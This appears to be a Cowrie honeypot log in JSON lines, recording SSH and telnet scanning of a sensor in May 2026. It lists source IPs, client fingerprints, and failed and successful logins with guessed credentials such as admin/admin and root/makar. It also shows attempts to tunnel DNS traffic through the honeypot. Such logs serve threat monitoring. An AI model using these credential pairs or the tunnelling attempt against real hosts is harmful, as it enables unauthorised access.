{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:39:58.791292Z","src_ip":"23.97.62.150","session":"eaf203fb4530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":39672,"dst_ip":"159.203.135.109","dst_port":23,"session":"8dbd99b932ae","protocol":"telnet","message":"New connection: 79.139.59.21:39672 (159.203.135.109:23) [session: 8dbd99b932ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:40:10.050749Z"}
{"eventid":"cowrie.session.closed","duration":46.099525690078735,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:40:56.150090Z","src_ip":"79.139.59.21","session":"8dbd99b932ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52762,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9cd633cd013","protocol":"telnet","message":"New connection: 69.4.83.194:52762 (159.203.135.109:23) [session: e9cd633cd013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:41:11.102231Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60056,"dst_ip":"159.203.135.109","dst_port":23,"session":"503c2b955ec4","protocol":"telnet","message":"New connection: 69.4.83.194:60056 (159.203.135.109:23) [session: 503c2b955ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:41:29.855436Z"}
{"eventid":"cowrie.session.closed","duration":33.23144221305847,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:41:44.333587Z","src_ip":"69.4.83.194","session":"e9cd633cd013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38932,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf27decaab0e","protocol":"telnet","message":"New connection: 69.4.83.194:38932 (159.203.135.109:23) [session: bf27decaab0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:41:50.431388Z"}
{"eventid":"cowrie.session.closed","duration":33.33652663230896,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:03.191834Z","src_ip":"69.4.83.194","session":"503c2b955ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":32840,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2fad37f495","protocol":"ssh","message":"New connection: 153.80.249.112:32840 (10.17.0.5:22) [session: 8f2fad37f495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:14.258049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:14.263840Z","src_ip":"153.80.249.112","session":"8f2fad37f495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:14.358240Z","src_ip":"153.80.249.112","session":"8f2fad37f495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ekp","password":"ekp","message":"login attempt [ekp/ekp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:14.747519Z","src_ip":"153.80.249.112","session":"8f2fad37f495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:15.839652Z","src_ip":"153.80.249.112","session":"8f2fad37f495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41140,"dst_ip":"10.17.0.5","dst_port":22,"session":"39f7c6e8afe1","protocol":"ssh","message":"New connection: 87.251.64.176:41140 (10.17.0.5:22) [session: 39f7c6e8afe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:23.491204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:23.495913Z","src_ip":"87.251.64.176","session":"39f7c6e8afe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:23.611483Z","src_ip":"87.251.64.176","session":"39f7c6e8afe1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:24.000327Z","src_ip":"87.251.64.176","session":"39f7c6e8afe1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:24.109607Z","session":"39f7c6e8afe1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:24.208302Z","src_ip":"87.251.64.176","session":"39f7c6e8afe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:24.305633Z","src_ip":"87.251.64.176","session":"39f7c6e8afe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93906760215759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:26.370355Z","src_ip":"69.4.83.194","session":"bf27decaab0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":32808,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf191a0a91ca","protocol":"telnet","message":"New connection: 69.4.83.194:32808 (159.203.135.109:23) [session: bf191a0a91ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:42.034746Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":47666,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e09051f8176","protocol":"ssh","message":"New connection: 103.173.227.57:47666 (159.203.135.109:22) [session: 7e09051f8176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:44.237527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:44.242899Z","src_ip":"103.173.227.57","session":"7e09051f8176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:44.496037Z","src_ip":"103.173.227.57","session":"7e09051f8176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"makar","message":"login attempt [root/makar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:45.253211Z","src_ip":"103.173.227.57","session":"7e09051f8176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:42:46.510457Z","src_ip":"103.173.227.57","session":"7e09051f8176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.35441064834595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:43:16.389026Z","src_ip":"69.4.83.194","session":"bf191a0a91ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48710,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d03a9152ba3","protocol":"ssh","message":"New connection: 87.251.64.176:48710 (10.17.0.5:22) [session: 8d03a9152ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:26.931566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:26.941128Z","src_ip":"87.251.64.176","session":"8d03a9152ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:27.028208Z","src_ip":"87.251.64.176","session":"8d03a9152ba3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:27.396666Z","src_ip":"87.251.64.176","session":"8d03a9152ba3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:27.494252Z","session":"8d03a9152ba3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:27.590251Z","src_ip":"87.251.64.176","session":"8d03a9152ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:27.687152Z","src_ip":"87.251.64.176","session":"8d03a9152ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":52040,"dst_ip":"10.17.0.5","dst_port":22,"session":"4be3232dd929","protocol":"ssh","message":"New connection: 103.77.242.62:52040 (10.17.0.5:22) [session: 4be3232dd929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:40.549805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:40.559113Z","src_ip":"103.77.242.62","session":"4be3232dd929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:40.805486Z","src_ip":"103.77.242.62","session":"4be3232dd929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22041987","message":"login attempt [root/22041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:41.544765Z","src_ip":"103.77.242.62","session":"4be3232dd929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:44:42.793021Z","src_ip":"103.77.242.62","session":"4be3232dd929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":49418,"dst_ip":"10.17.0.5","dst_port":23,"session":"efaffbf8d6b0","protocol":"telnet","message":"New connection: 180.235.129.180:49418 (10.17.0.5:23) [session: efaffbf8d6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:03.311082Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53352,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a471ca7701e","protocol":"ssh","message":"New connection: 89.223.69.22:53352 (10.17.0.5:22) [session: 2a471ca7701e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:10.283257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:10.294104Z","src_ip":"89.223.69.22","session":"2a471ca7701e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:10.439601Z","src_ip":"89.223.69.22","session":"2a471ca7701e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"302010","message":"login attempt [root/302010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:11.291707Z","src_ip":"89.223.69.22","session":"2a471ca7701e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:12.437711Z","src_ip":"89.223.69.22","session":"2a471ca7701e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.886603832244873,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:23.197561Z","src_ip":"180.235.129.180","session":"efaffbf8d6b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35900,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f07e06c51d3","protocol":"ssh","message":"New connection: 87.251.79.125:35900 (159.203.135.109:22) [session: 7f07e06c51d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:26.084422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:46:26.090068Z","src_ip":"87.251.79.125","session":"7f07e06c51d3","protocol":"ssh"}
